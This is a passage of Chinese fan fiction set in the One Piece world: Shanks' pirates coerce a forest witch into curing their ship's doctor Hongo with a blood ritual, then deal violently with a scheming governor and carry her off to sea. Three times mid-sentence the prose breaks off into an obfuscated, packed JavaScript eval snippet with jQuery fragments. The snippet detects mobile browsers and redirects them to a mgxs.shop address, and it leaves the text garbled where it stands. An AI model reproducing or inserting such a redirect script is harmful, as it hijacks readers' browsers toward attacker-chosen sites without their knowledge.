当然,最讨厌的当属面前的这帮海贼——她不是没跟海贼打过交道,相反,在她从伊瓦图逃亡到马努卡湾期间,一直跟乘着海贼的船,其间发生的事情大多不堪回首。这些海上强盗中的大部分既手段残暴又掠夺无度,有的只是程度上的差异罢了。
为了防止她像上次那样突然念出什么奇特的咒语逃跑,这群海贼虽没把她直接绑住,但前后左右都派了不少人跟着,把她整个包围在中间。
“不至于吧,我不至于都到了这一步还能跑掉,副船长先生。”她意有所指地对身边扛着枪的那个人说话——这艘船上的很多船员管他叫副船长。
“谁知道呢,巫女小姐,”贝克曼把烟摘下夹在指间,“不说我们,就连那个老贵族现在都在岸上等着呢。”
他口中的“老贵族”——也就是督爵,正招了一队人马在雷德弗斯旁的码头上等候着。
虽然这位老贵族此刻正无比担心目标的巫女被海贼半路截胡,但四皇的船也不是他说上就敢上的。老督爵只派了自己的弟弟——担任行政官的凯尼上船一同前往,声称关键时候能帮着一起出份力,其实质不过是为了监视巫女在海贼手里的动向罢了,这活儿他交给别人都不放心。不过好在,督爵心想,好在这些海贼至少还不知道关于死灵术的事情。
“你叫什么名字?”贝克曼自然地开口问了。
“没有告知的义务。”巫女简短地回答。
小姑娘脾气倒挺犟。贝克曼思索着换个方向入手。正想的时候,巫女却率先发问了:
“是你的主意吗?”
“什么?”
巫女转过头来直视着他,又重复了一遍:
“是你的主意吗?卖给那些人炸药运到森林里,还利用小动物……真够卑鄙。”她光是看着面前的这个人,就直觉他脑袋里面主意最多。
“说得挺好,”贝克曼轻声笑了一下,“我们这些人又不是圣人。不过我得补充一下,你说的小动物——我想应该是猛士达吧——本来就是我们的同伴。而且,”他同样转头看向巫女,继续说,“而且我们可舍不得把「真家伙」送给那些人,你说的「炸药」里面装的其实是我们船上的酒。”
“说实在的,姑娘,就连酒我们也不太舍得送给他们。”耶稣布走在她的另一侧,接着贝克曼的话补充道:“如果之后有机会,我们还想再拿回来呢。”
巫女对此有些无语,她自感无话可说,闭上嘴继续往前走。她被前面的人引导着进入了船舱,视线稍微变暗了一些。
“是动物神吧?”这次轮到贝克曼对她发问了。
船舱里相比甲板上安静许多,这使他的声音格外清晰。
“森林里的那些动物石像,你之前戴的面具、以及你的用的咒语——我们之中只有猛士达没有受到影响。你归属的巫教所信仰的是某种动物神明吗?”虽然这只是贝克曼的猜想,但这大概是为什么她对动物抱有更高的信任。
“我没有告知的义务。”巫女再次用简短的回答结束了对话。
一直走到甲板下走廊的尽头,左手边的第一个房间,走在她前头的一个海贼推开一扇门,用眼神示意她进去。
走进门,一股药材和消毒水的味道。她对这味道感到熟悉,她家里存药的房间也有差不多的味道。这里看来是他们船上的医务室,仪器材料堆叠得干净整齐,房间里摆着几张白床单的病床——最左边靠墙的那一张病床上,躺着一个年轻男人,从他额角到眼眶,延伸着一道很长的疤痕。
“就是他,”贝克曼倚靠在门边,那杆枪同样被他斜靠在门框旁,“我们从岛上请的医生诊出他得了七日病,只有你能治好。所以我们想法设法找到你。”
“那还真是大费周章啊。”巫女用不咸不淡的语气评价着。
她靠近病床上的人,这可怜的小伙子还在高热中昏迷,嘴唇反常地惨白。她用指腹轻轻抚拭过他的侧颈,淡紫色的瘢痕,确实是七日病的典型症状。
“可以治得好吗?医生。”嘎布一直坐守在病床前,这个大个子看上去很担心。
“我人都来这了,总不能说自己治不好吧。”巫女解下自己的斗篷,盖在病床上躺卧着的本乡身上,黑色斗篷的裾摆处绣着一些不显眼的符文和图案。
“我需要金雀花、藜芦、小米草,百蕊草、大戟,还有一些山楂——不用太多,你们在这里集市上就能买到。”
“药材是吗?让我去搞吧。”斯内克在一旁说,“我知道本乡这里也还剩一些,很快就能集齐。”
“我还没说完呢,还需要吸血树蛙的后腿,大王腹蛇的两颗眼球,鬣蜥的一节尾巴骨,以及鬃狮雄马的胆汁,最重要的还要红砖粉,越多越好,粉要磨得尽可能细腻一点——这些东西集市上找不到,你们可以去这里的地下黑市碰碰运气。”
“呃。”好多的古怪东西,斯内克不太记得住全部名字。
“我陪你一起去,咱们走吧,”拉基路搭上斯内克的肩膀,关于大王腹蛇的进货渠道他知道几个。
“只需要这些药材就行了吗?”贝克曼在门口,把烟头掐熄了,他依旧还记得医务室里不能抽烟这件事。
“如果真那么容易就好了。”巫女的指尖轻轻向下划过本乡敞开的胸口,浅紫色的瘢痕已经扩散到这里,这不算是个好兆头。
忽然间,她的脑中浮现出一个大胆的猜想。
她先是看了眼贝克曼,又将视线转向行政官凯尼身上——作为督爵的代表,他也跟过来了,正抱着自己的双臂在医务室的角落站着四处打量。
随后,她使劲拍了拍病床上本乡的脸:“醒醒,小伙子,你还有意识吗,有就回我个话。”
本乡难受地唔囔了几声,依旧没睁开眼睛。
“七日病的病原在卢阿坑洞——你前几天是不是去过那里?”巫女依旧自顾自地说,她并不是全说给本乡听的:
“那个坑洞很多年前被当地的贵族封锁,只有他们知道进去的渠道,”她用余光扫了眼站在一旁的行政官凯尼,那个人的脸色现在很不好,她继续说,“是谁让你进去那里的?是不是有人劝你……”
“你废话什么呢?!!”原本在一旁一声不吭的行政官凯尼听到她的话,即刻暴起愤怒地挥了拳头上来。
拳头还未挥到一半,他的胳膊反手被贝克曼扭住,引起一阵痛苦的嚎叫。
“你搞清楚现在是在谁船上。”凯尼听到耳边贝克曼的声音。他感到自己胳膊的骨骼被对方扭得咯吱作响,冷汗沁透了他的后背。
“别信她,她不可信、她只是在胡扯,一切都是她干的…..”小胡子的行政官嘴里不停解释着。
“你说的是,都是我干的。”巫女冷言冷语地笑他:“你们家冰箱里的牛奶变味了是我做的,你出门踩到空井盖也是我做的,”她指着被扭住胳膊的行政官凯尼,愤怒使她提高了音量,“就连你老婆出轨你大哥——也是我做的,我这样说你满意了吗?”
“你——你这个——”辱骂的词语还未来得及脱口,行政官便被大副揪着领子推搡出了门外。
“给他带出去,待会儿有别的话问他。”贝克曼对踞在医务室门外的其他海贼招呼了一声,行政官的声音随即消失在黑暗的船廊中。
“你还需要什么东西,我们帮你准备。”贝克曼转头对她说。
“我需要做仪式的准备。”巫女的视线又转回本乡身上,“七日病并不是病毒引起的,而是先民的一种巫术造成的结果。”
“是诅咒吗?”
“不是,更准确来说,七日病是一种祝福,在帕帕哈瑙先民的观念里,神用七天创造世界,所以人可以用七天到达天堂,这是祝祷人前往神所在之地的一种祝福,七天的生命倒计时就是这样来的。”
“那光用那些药能起效吗?”耶稣布眉头皱起来,他坐在一旁的椅子上身体前倾,紧迫地询问。
“药只是其中一种手段,所以还需要进行仪式。”巫女坐在本乡床边,对屋里围着的几个人接着说:“我需要三个东西,第一,我要一根木头做的杖,必须要软木做的,松木或者云杉都可以,随便削削就行,时间紧迫,没必要做得太精致。”
“第二,”她接着看向病床上的本乡,“需要你们把这个小伙子搬下船,因为仪式不能在海上进行,把他搬到一片空地上,病人脑袋的方向要朝向一棵树。”
“为…..”
“别问为什么,照着做就可以了。”巫女适时地打断
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261280|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了嘎布的疑惑。
“最后,”她指着本乡,“我需要他的名字。他叫什么?”
“他叫本乡,”贝克曼说,“是我们的船医。”
————————————————
“我提前说好,”
在帕帕哈瑙东面远离市镇的一处空地上,海贼们聚在一处,各自忙活着。在一片嘈杂声中,巫女再次对这伙人的副船长强调:
“你实在不放心我逃跑的话可以多派几个人看守我,但是我没有医治中途抛下患者不管的习惯。”
还没等贝克曼回话,她便转过头问向耶稣布:
“药热好了吗?一次不用太多。”
“好是好了,但是……”耶稣布看向手里盛满颜色诡异药液的碗,由动物的眼球和胆汁熬出来的东西,恐怕这味道会很不妙了,“这玩意儿真的能喝吗?”
“谢谢,好了就给我吧。”巫女从他手中接过药碗,转头蹲下身又使劲拍了拍本乡的脸。
“醒醒,喝药了,嘴巴张开,全喝了,一滴都不许剩。”
见他没有反应,她直接掰开本乡的嘴就要灌药。
“诶——你稍微温柔点啊,他现在还是病号。”耶稣布抢在她前面,帮忙稍微抬高本乡的头。
“这个人我保证给你们治好,但是,”巫女手上的动作没有停,她的声音依旧像是压抑着怒火,“我没有对你们温柔的义务。”
她对现在自己的处境已经很头痛了。
被海贼半胁迫地拉来治病,待会儿也许还会被海贼移交给那岛主老头处置,小猫还在家里没人管——她的猫现在怎么样了,她很担心。
最重要的是,仪式的进行要以她自身为媒介,她并不喜欢那种感觉。她不确定自己被仪式消耗精力后还有多余的力气用来逃跑。
她长叹了一口气。强迫自己集中精神。
血的巫术同样要用血的咒语解开。
她割开自己的手掌,让鲜血经由粗糙的巫杖流经本乡的胸口,最后灌注到他身底的地面由炭笔提前书画好的咒文上。
“Vindr kria utan——”
猩红的液体逐渐扩开,她低声诵念起咒语。
“Ljosbarn veit vigslu vatn,”
贝克曼这一次更清楚地听到了她的咒语,他回想起那天在森林里发生的事情。她所诵念的文字,原来并不是哪里的方言,而是独属于巫女的语言。
“Feth fiada,crann anfa,”
在这片晴朗的空地上,忽而响起了一阵呼呼作响的野风。四周的海贼不约而同地静默了,人的喧嚣渐渐为风的喧嚣所取代。
“Nerthus lamh,sithich ail……”
咒语的最后,巫女闭上了双眼。
———————————————
本乡忘记自己要做什么了。
他回过神来的时候,自己躺在一片白茫茫的地方,这里的天空和海洋连在一起,两者并没有分界。
整个世界只有他和他的影子。
本乡忘记了自己要做什么,但他记得自己也许应该往前走。
在天空和海洋的尽头,有一片金灿灿的光芒等在那里。
他走了很长时间。
他忘记了自己原本要做什么,或许很快也会忘记自己的名字。可他觉得自己依旧要向前走,前面似乎是什么的终点。
“本乡!”
他听到一声呼喊,有谁在叫他,在他彻底忘记自己的名字之前。
于是他转过头。
一个女孩站在那里。
她穿着黑色斗篷,手上撑着一杆木质的法杖,看上去就像是传说故事里神秘的巫女一样,本乡想——或许就差一顶尖帽子了。
“你在这里还真清闲啊,这位海贼先生。”那女孩说话了。
“你好,你是……”本乡第一次回头,向身后她所在的方向走了几步。
“我?”那女孩笑了,“我只是个为了把你拉回去而出现在这儿的倒霉蛋罢了。”
为什么这么说?本乡很不解,她虽然在笑,但看上去似乎并不开心。是谁惹她难过了吗?
“算了,”那女孩小声嘀咕,向他勾了下手指,“过来,小伙子,来我这儿。”
本乡恍恍惚惚地向着她的方向靠近,他也不知道为什么,他只觉得应该这样做,比起达到天海相接的终点还要应该,似乎有一种无法言说的吸引力推着他向她靠近。
“好孩子,离我近点儿,你长得有点高,我够不到你。”她的声音温柔下来,让他想起无风时的浪花。
他顺从地俯身靠近她,使她的手掌敷上他的额头,很温暖。
这是本乡闭上双眼之前,所意识到的最后的事。
10. 雷德弗斯的狮鹫
“真是可惜了,小伙子,你离天堂就差那么临门一脚。”
本乡听到一道由近及远的声音虚浮而去,像是遥远山谷中的回音,声音的尾调逐渐消弭在一片模糊之中。
“剩下的路,等几十年过后你再去走吧。”
本乡艰难地睁开眼睛,那段空荡的声音依旧在他耳边回响。
混沌的天地在他眼中逐渐有了界限,一些隐隐绰绰的身影浮现在眼前。
“他醒了!眼睛睁开了!快来…..”
好像是嘎布的声音,他想。
“喂!本乡,你还好吗?有没有哪里还难受?”
这次是路的声音。他听上去似乎很紧张。
“醒了、醒了!喂——”
越来越多人的声音聚集过来,大家为什么那么激动?
本乡还有点茫然,但很快就没有时间让他思索了。他猛然感到胸腔中有一阵灼烧的翻滚,像是要把内脏全部搅乱,强烈的头晕和耳鸣同样袭上他的大脑,方才轻飘飘、仿若灵魂一般的感觉不见了,身体沉重的感觉再次取而代之。
他撑起身体呕出一些黑血,就在那之后,仿若重物压在身体上的沉重感也奇迹般地随之消失,他感到自己的身体轻松了不少,意识也跟着清明起来。
他下意识地抚上自己的额头,烧退了。
“臭小子,可让我们这些人担心死了。”
“好命啊本乡大哥——你再不醒过来我们差点儿给你海葬了。”
“靠,你瞎掰啥呢,本乡,你可别听他的。”
“本乡你没烧坏脑袋吧?眼睛现在还能看得见吗?这是几?”
“本乡大哥对不起,其实上个月你丢的医用酒精是我拿的,我拿去兑假酒了,我再也不……”
“卧槽原来是你小子卖我假酒——”
眼前忽然呼啦一下围上来了一堆人,像一堵会讲话的墙一样,各自叽叽喳喳地向他说话,将他围做人群的中心。本乡的视野仍有些重影,还没恢复完全,但他仍旧能够辨认出来,那些是他船上同伴的面容。一些人揽过他的肩,另一些人干脆一个叠一个激动地搂上来。
“靠你们这些混蛋别全压上来,我快喘不上来气了——”
同伴的关心,在物理上顿时有了相当实际的重量。
本乡的目光想要越过眼前的人群去寻找另一个身影——他想知道刚才出现在他昏迷梦境中的巫女是不是也在这里?还是说那只是他的幻想?
解咒的仪式成功了。
在环绕着本乡的人群后方,巫女撑着那柄做工粗糙、由云杉木打造的巫杖,缓缓地滑坐在地上。
她的身侧依靠着一棵树——正是当初那棵在她要求下纳入解咒仪式,且必须与患者的头部方向朝向一致的树——这棵原本茂盛盎然的大树在仪式后已经完全枯萎了——作为解咒和治愈患者的某种代价。
她自己也好不到哪去。她在仪式上流了太多血——现在头很晕,眼前的景色近乎诡异地向一个方向旋转倾倒。她靠撑着巫杖勉强维持坐在地上的姿势,让自己不至于直接狼狈地倒下。远处人群庆祝同伴康复的喧哗声,在她耳边像朦胧地蒙上了一层雾。
所以她没意识到贝克曼是什么时候走到她身边来的,在她注意到的时候,这位副船长已经俯身向她伸出了手。
“不、不用,我自己站起来。”
她转过头让自己不去看他。她的任务如今已经完成,她不想再和海贼有什么多余的牵扯。
她靠巫杖支撑着摇摇晃晃地站起身——没能成功,视野里的景色在动作的瞬间一齐朝着一个方向扭曲旋转。她不得已闭上眼睛,但眩晕感并没有因此减轻半分。
在她失去重心倒下之前,贝克曼适时地用手臂扶住她,让她的身体靠在自己怀里。
“还好吗?”她听到头顶男人低头对她说话,声音很轻,“你看上去很让人担心。”
她已经没力气从他怀里挣脱开了。她甚至不想用多余的力气回答他。
“待会就能缓过来,”但她还是要试着问问,“可以让我走了吗?”
“我们还没有好好答谢你,你救了我们的同伴。”
“用不着谢我,让我回去。”她头晕得闭上眼睛,在他怀里的声音闷闷的。
“至少先处理一下伤口吧。”贝克曼顺着她的手臂抬起她的手掌,他握起她的手,看向那道伤口——一道刀口在她手心——那是她为了仪式划开的,还在往外淌血。
“用不着。”她把自己的手从他手里抽出来,转而揪起他披风的衣领,血液洇红了披风的纹路:
“可以让我走了吧,你们想救的人我已经救了,让我回去吧、让我回家,算我——”
她从贝克曼怀里抬起头,手依旧揪紧他的领口,就像用尽了最后的力气:
“算我求你,放我走吧。”
他看向她的双眼,那双眼睛第一次如此注视着他,既没有憎恶也没有恐惧。
“这一段时间,这座岛上会很不太平。”贝克曼依旧注视着她的眼睛,就像投身于一汪平静的湖泊,他听到自己对她说:
“如果你决定离开的话,多考虑去别的岛吧。”
————————————————
“你们什么意思?那巫女人呢?”
在岛东雷德弗斯停留的港口旁,督爵难忍气急败坏地向面前的一群海贼发问,他苍白双鬓的太阳穴因为愤怒而轻微鼓动着。
“还有我弟弟——凯尼呢?他怎么没下船?被你们弄到哪里去了?”
“我们好好招待了你弟弟——也就是行政官大人一番。”贝克曼翻开打火机盖,给自己点了根烟,漫不经意地继续说:
“至于巫女,我们让她走了。她现在应该已经去别的岛上了吧。”
“你说什——?你们当初是怎么答应我的?你们倒是达成了自己的目的,那我的呢?我们当初——”
督爵的话戛然而止,因为贝克曼已然靠近了他的面前,一种生物性的紧迫感不断警告自己不要多说。
“我们当初确实答应过你——会抓到巫女。可我们从来都没答应过你要把她交出来。你自己想想清楚吧,督爵大人。”贝克曼把手搭在腰间的枪托上,“跟海贼做交易,就是这么回事。”
督爵的脸色随着大副的每一句话,肉眼可见地苍白下去。他紧咬着牙关,身体却依旧打着颤,不知是因为愤怒还是恐惧。
贝克曼随后的一句话让他更加脊背发凉:
“你弟弟跟我们坦白了很多事,我还要问你呢,督爵,你说——死灵术是什么?”
————————————————
“呼———头好晕,果然还不能运动这么多。”
巫女从岛东一口气跑到了市镇,她实在跑不动了,弯腰撑着膝盖喘了口气。
头晕的症状缓解很多,虽然自己现在已经不剩多少体力,但她还得坚持着跑——直到跑回到森林,直到跑回家见到她的小猫。
女神在上,那个大副还算是个有良心的好家伙,他放她离开了。至于他说的,换个岛生活,她想她会考虑的,不过现在最要紧的是,她要回去找到她的小猫,不管以后发生什么,或者去到哪里,她不能扔下自己的猫。
她转身跑进一条巷口,打算抄个近路。街巷出口的景色已经近在眼前,跑出这条巷子,就能离开这片市镇。
“你个狗娘养的——”
一声愤怒的咆哮,倏忽在她耳边炸开,未等她跑出去,一股突如其来的力气便掐住她的脖子把她摁在了街巷潮湿的墙壁上,使她的脑袋狠狠地撞上了坚硬的砖瓦。
“都是你害得我,你这小娘们儿……”
突然蹿出来掐住她脖子的,是那个小胡子的行政官,叫什么来着——凯尼?她差点儿没认出来,因为他现在可谓是面目全非。
这位曾经无比体面的行政官如今鼻青脸肿地出现在她面前,像是被谁狠揍了一顿似的,眼睛眉毛扭在一起,小胡子潦草地被血和汗黏在脸上。
“我大哥死了!跟那帮海贼火拼时被杀了!”他双眼通红,手上加深了力道。
“我好不容易才趁乱逃出来——那帮天杀的海贼,为了套我的话,砍了我的指头!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261281|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他的右手只剩下两根完整的手指——拇指和食指,剩下的参差不齐地被绷带潦草包裹着。
“那不是你们自找的吗,凯尼?”她挑衅地叫了他的名字,“你大哥给那海贼下套,让那个人得了七日病,好利用起他们的同伴来抓我,”巫女一面说话,一面尝试着扒开他掐着自己的双手:“你们当时算计别人的时候,怎么没想到自己有这么一天,你说是不是,凯尼?”
“呵、”行政官嗤笑了一声,“你以为我们变成这样,你就能逃得了吗?”
“你以为你能逃到哪里去?你以为你能逃到哪里去?”行政官像着了魔一样疯狂重复着,一声高过一声:
“只要死灵术一天在你身上,你就一天都别想好过。一天都别想!你永远都——”
“你永远都——”
一道赤红的身影,出现在他身后。
“永远都——”
血肉顷刻间绽开,目光猩红的野兽亮出了它的爪牙,在刀刃冷冽的寒光之间,她再次看到了那个人的身影——那条狮鹫又来了。
行政官倒在血泊之中,最后的遗言哽在喉咙中未能出口——他死了,从背后横砍的刀刃几近将他拦腰截断。
多年之后,当她再次和香克斯谈论到这一幕时,她觉得香克斯其实本不必杀了那个人的。他除掉岛上的势力最大的督爵和行政官——用一种近乎狠辣的手段,或许是为了立威,或许是为了震慑。
“哦——那你可冤枉我了,”香克斯对她笑着说,“我当时只是想保护你而已。”
不过在此时此刻,她和这位红发的船长尚未完全结识,眼前的场面只让她觉得胆寒——为他的利刃、他锋利的斩击和烈焰般的红发。
“我可算找到你了,你还好吗?怎么看上去——诶,等等、”
她转头就跑,她可不想刚脱狼口又入虎口。
没跑出几步,她被一条手臂从身后揽过抱了起来,眼前景象的忽然转变使她的头又开始天旋地转。
这位红发的船长掂了一下,把她直接扛在肩上,返身向港口方向跑去。
“放开我、赶紧放开——你的船员我都已经给你治好了!”她在他肩上挣扎,用手肘撞击他的后背,但使不上什么力气,先前的仪式耗费了她太多精力。
“真的吗,本乡康复了,”香克斯开朗地笑了出来,“太好了,我就知道你肯定会帮我们!”
“你知道什么知道?赶紧放我下去,你要带我去哪?我要回家、我的猫还——”
“我就是你的猫。”
“你胡说什么?你这个不要脸的老大叔!”巫女很想立刻扇他一巴掌,奈何她连和他斗嘴的余力都没有了。
视野中的景色在她眼前迅速倒退,她的视线渐渐模糊了,她的家,那片遥远的森林——她的小木屋和小猫,曾经在那里居住过的记忆,对平静生活的期待——现如今离她越来越远,远方的森林凝成一个小点,最后在她眼中彻底消失了。
她知道自己总会有这么一天,但她从未期望这天会这样发生。
————————————————
贝克曼看到自家船长从不远的市镇方向跑了过来,肩上好像还扛着———
老天,他就知道。
就在不久之前,他才刚答应人家姑娘让她回家。这还不到两个小时,转头就被船长扛回来了。
“嘿!贝克,这边的事还算顺利?”香克斯远远地打着招呼。
“还好,本乡恢复了,其他该解决的也都解决了——除了你,到底跑哪去了?”
“我从西边的森林跑过来的,从那边过来的时候看到几条海军军舰,正往这边儿开呢。”香克斯踏上了甲板。
“虽然他们不会主动宣战,但我们这次闹得太过了,这地方好歹也算在加盟国的范围。”贝克曼看向被香克斯扛在肩上的巫女,她神色消沉,什么也没有说。
“该走了,贝克。”
红发的船长转身,雷德弗斯号的龙头随着港口的海波浮沉,黑色的海贼旗依旧在空中猎猎作响。
“小的们!收拾东西,出航了!”
11. 谁的名字(一)
海圆历1518年,曾久居帕帕哈瑙的巫女终于做出了一个违背祖宗的决定——她要去到海上。
若仁慈的梅里提拉女神天上有知,那么发生在她身上的一切不过是因果律中最简单的一环,常人称其为时运,而信徒称其为宿命。
“宿命,”她咀嚼了一下这个词,“你相信这个东西吗?小猴子。”
她身旁的猛士达哼唧了两声,表示不知道。
“哦,抱歉,你有名字的,我记得叫猛士达——对吧?是个很勇猛的名字,和你一样。对了,你要再来一块儿吗?我昨晚偷偷去厨房拿的。”
巫女又塞了一块橘子给身旁的小猴子,在海上航行不能缺少水果,不管是人还是动物。
猛士达得到了额外的食物,乐得高兴,倒无所谓巫女一直对它说一些它听不懂的话。
“呃,这橘子是有点酸。”她也放进嘴里嚼了一口,酸得直皱起眉头,“我不该来海上的,倒不是因为这橘子太酸的缘故。说真的,在我的老家——我已经很久没回去过了——流传着这样一句话:巫女到海上,海水就会被搅浑。这是先祖的一句预言,倒不是真的会被搅浑,我想大概意思是会发生一些可怕的事情。”
猛士达就坐在她旁边,这小猴子对酸味倒是没那么大反应,于是她又递给了它一块:“我下次还是拿个别的水果好了。不过说回来,可怕的事情,我想现在没有什么比在你们船上还要可怕了。”
看小猴子吃得开心,她干脆把剩下的橘子全塞给了猛士达:“船上的人实在太多了,我不喜欢人,更不喜欢人多——还好这里有你在,我还可以和你说说话。”
就像呼应她说的话一样,舷窗外远远传来了海贼们哄闹取笑的声音,那些人不知又在甲板上搞什么活动。紧接着,房门外传来一阵脚步声。
“真糟糕,有人要来了。”巫女急匆匆地站起来,“我得走了,拜托,别让任何人知道我来过。”她说完便闪身从另一道房门离开了。
“哦!猛士达,刚才你有看到她吗?她是不是来过这儿?”嘎吱一声响,前门大大咧咧地被推开了,香克斯和本克宾治先后走了进来。
猛士达不语,只是一味往嘴里塞橘子。
“看来已经走了。”本克宾治捡起橘子瞧了瞧,自从巫女被头儿扛回来之后,他的搭档每天都有额外加餐。
“我说,头儿,”本克宾治对香克斯笑笑,“你该不会到现在还不知道人家姑娘叫什么吧?”
“她什么都没跟我讲。”香克斯也抓了个橘子在手里,剥一剥塞进嘴里,味道正好,一点也不酸,“你知道?”
“如果连你都不知道,更别说我了。别说名字,这些天,白天想看到她都难,她就像特意躲着人似的。”
猛士达看到自己的搭档,顺着他的脊背攀上了他的肩膀。
“对了,除了猛士达之外。”香克斯反应过来,他嘴里鼓鼓囊囊地塞着橘子,“这几天他跟猛士达说过的话大概比跟我们所有人说过的话加在一起还要多。”
“头儿,她要是实在不情愿的话……”
“不、不,”香克斯打断他,“在咱们去下座岛开宴会之前,我一定会知道她叫什么。”
————————————————
她回到了她的房间。
她的房间,真是讽刺,她想到这儿几乎要笑了出来——就在几天之前,她的房间还在一片森林里的僻静小屋,窗前有她种的盆栽,她做的手工摆件,以及柔软的暖色窗帘。
而现在,从窗口向外,只有一望无际的蓝色大海,海浪翻滚的声音,海贼呼喊和取乐的喧闹声,以及人来人往踏在木板上嘈杂的嘎吱声。
她无力地趴在床上,床垫不算厚实——这间屋子是杂物间临时整理出来的,起居用品东拼西凑——感谢这艘船上的大副,那个男人还算细心,考虑到她一个人,没把她直接丢到群居的吊床或者通铺。
呵,我竟然还在感谢海贼?她自嘲地想,讨厌还来不及呢,尤其是那个红发的船长,她恨不得现在一脚把他踹到海里去。
正在她漫无目的地思考之时,她的房间响起了敲门声。
是谁?她一阵警觉地从床上抬起头。
她望着门没动作,本想装作房间里没人,但均匀的敲门声却一直耐心地持续着,等待着她的回应。
真是个沉得住气的家伙。
她轻轻地走到门边,把房门推开了一道小缝——勉强能看得清门外的程度。
“呃,你好。”门外传来一道声音。
是她之前救过的那个人——金头发脑后还扎着冲天辫的人,额角有一道疤。
本乡其实原本想进门看看她,可是她仅把房门开了一道很窄的缝隙。
“你好,你还记得我吧?在帕帕哈瑙的时候是你救了我,我是特地来向你道——”
“道谢的话,不客气。”
她转手就要把房门摁上。
“等、等等——”
本乡费力地把门缝推得更大了一些。终于能看到她的脸——是的,就是她,曾在他梦里出现的那位巫女。
“等一下,我保证不会耽误你很长时间,我只是想跟你说些话,好吗?”
巫女警惕地打量他,但没有再进一步关上门,似乎是默许了。
“我叫本乡,是这艘船的船医。”
“我知道,你的朋友告诉过我。”
“那你呢?我还不知道你叫什么?”
她有点心虚地移开视线,想了一会儿,似乎不知道该说什么。
“我是住在森林里的巫医,巫医也算半个医生,所以跟你算是半个「同行」,你直接叫我「同行」吧。”
哪有管别人叫这个的?好吧,看来她现在还不愿意告诉自己名字,本乡想。他依旧把手搭在门沿处,思索着继续说:
“那你……在这里住得还好吗?有没有不适应的地方?或者缺的东西?”
她叹了口气,抬头看向本乡:“谢谢你,医生,我一切都好,如果你们老大愿意大发慈悲地放我下船,那我就更好了。”
————————————————
她现在最想做的无非是在船上找个僻静地方罢了。
这艘庞大的龙头船,已离开帕帕哈瑙航行数日,船上时不时响起的歌声、吵闹声、此起彼伏的笑骂声或者鼾声从来都没离开过她的耳朵,船舱又不隔音,搞得她多少有点神经衰弱。
就在这几天,她大致探索了这艘船的一部分结构——当然,这项工作大部分时候是躲着众人的视线悄悄进行的。
她打算今天再探探别的地方,也许去艏艉楼甲板看看。为了防止任何的意外,多了解一些地形对她而言总没什么坏处。
从主甲板再向上一层,门廊一楼右手边的房间陈放着很多图卷和手册,上面手工标记和涂抹的图案她不太能看得懂。大概跟航行的路线有关?她猜。不过装着这些图册的铜制滑轨矮柜倒是很漂亮。
“你对海图有兴趣吗?”
她闻声回头,头戴墨镜,胸口上纹着条红色龙的男人不知什么时候站在那里。她认得他——在小岛酒馆的时候,这个人还合伙堵她来着。看样子,他是这里的航海士。
“没有兴趣。打扰你抱歉了。”她闪身就打算绕过他走人,结果又被堵住了——他就这么喜欢堵人?
“等会儿,小姑娘。我是斯内克,船上的航海士。”面前的这个长发男人自我介绍道,“你叫什么名字?”
斯内克(snake)?是“蛇”吗?会有人名字叫这个还真是神奇,她暗暗想,既然有人用动物的名称命名自己,那这世上会不会有条蛇的名字叫做“人”呢?
“我?我叫……”她有些尴尬地不知如何回答时,舷窗外,桅杆上的一只海鸥恰好叫了两声。
“叫海鸥。”
“叫海鸥?!”斯内克无自觉地提高了音量,“你在糊我吧?小姑娘,哪有人会叫海鸥的?”
“你自己都叫「蛇」了,这有哪里奇怪。”
“而且,我、我有点饿了,我先走了,蛇先生。”
没来得及阻拦,她快步溜走了。
————————————————
海鸥是假的,饿了倒是真的。
这艘船的厨房和食堂连在一起,位于前甲板下层,艏楼靠后一点的位置。她从来这的第一天就知道,但却没去过几次——只有在晚上或偶尔人少的时候潜进去翻点东西吃——那儿平常聚集的人实在太多,那些海贼很喜欢吵吵闹闹、勾肩搭背地围在一起吃酒喝肉。
现在早已过了饭口,食堂只稀稀疏疏地散着几个人。
她摸去吧台后面,翻着底下的柜子,还剩点儿面包,干巴巴的,不过兴许还能吃。
“别吃那个。”
她抬头望过去,声音从厨房门口传来,吓得她把手里的面包又赶紧塞回柜子里去了,偷偷摸摸地来厨房找吃的,跟做贼一样。
“对不起。”
她对站在门口的人道歉——那人身型宽大,身体圆滚滚的,在她眼里像座小山一样,结结实实地堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261282|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在了厨房过道上。
“你坐那。”他指指吧台对面,对她说。
她尴尬地过去坐在位置上,不知道对方要做什么,要教训她?
然而这位厨师只是背过身去,什么也没说。他点了灶火,起锅烧油,手上利落地把蔬菜和火腿顶刀切块,一齐下到锅中翻炒。
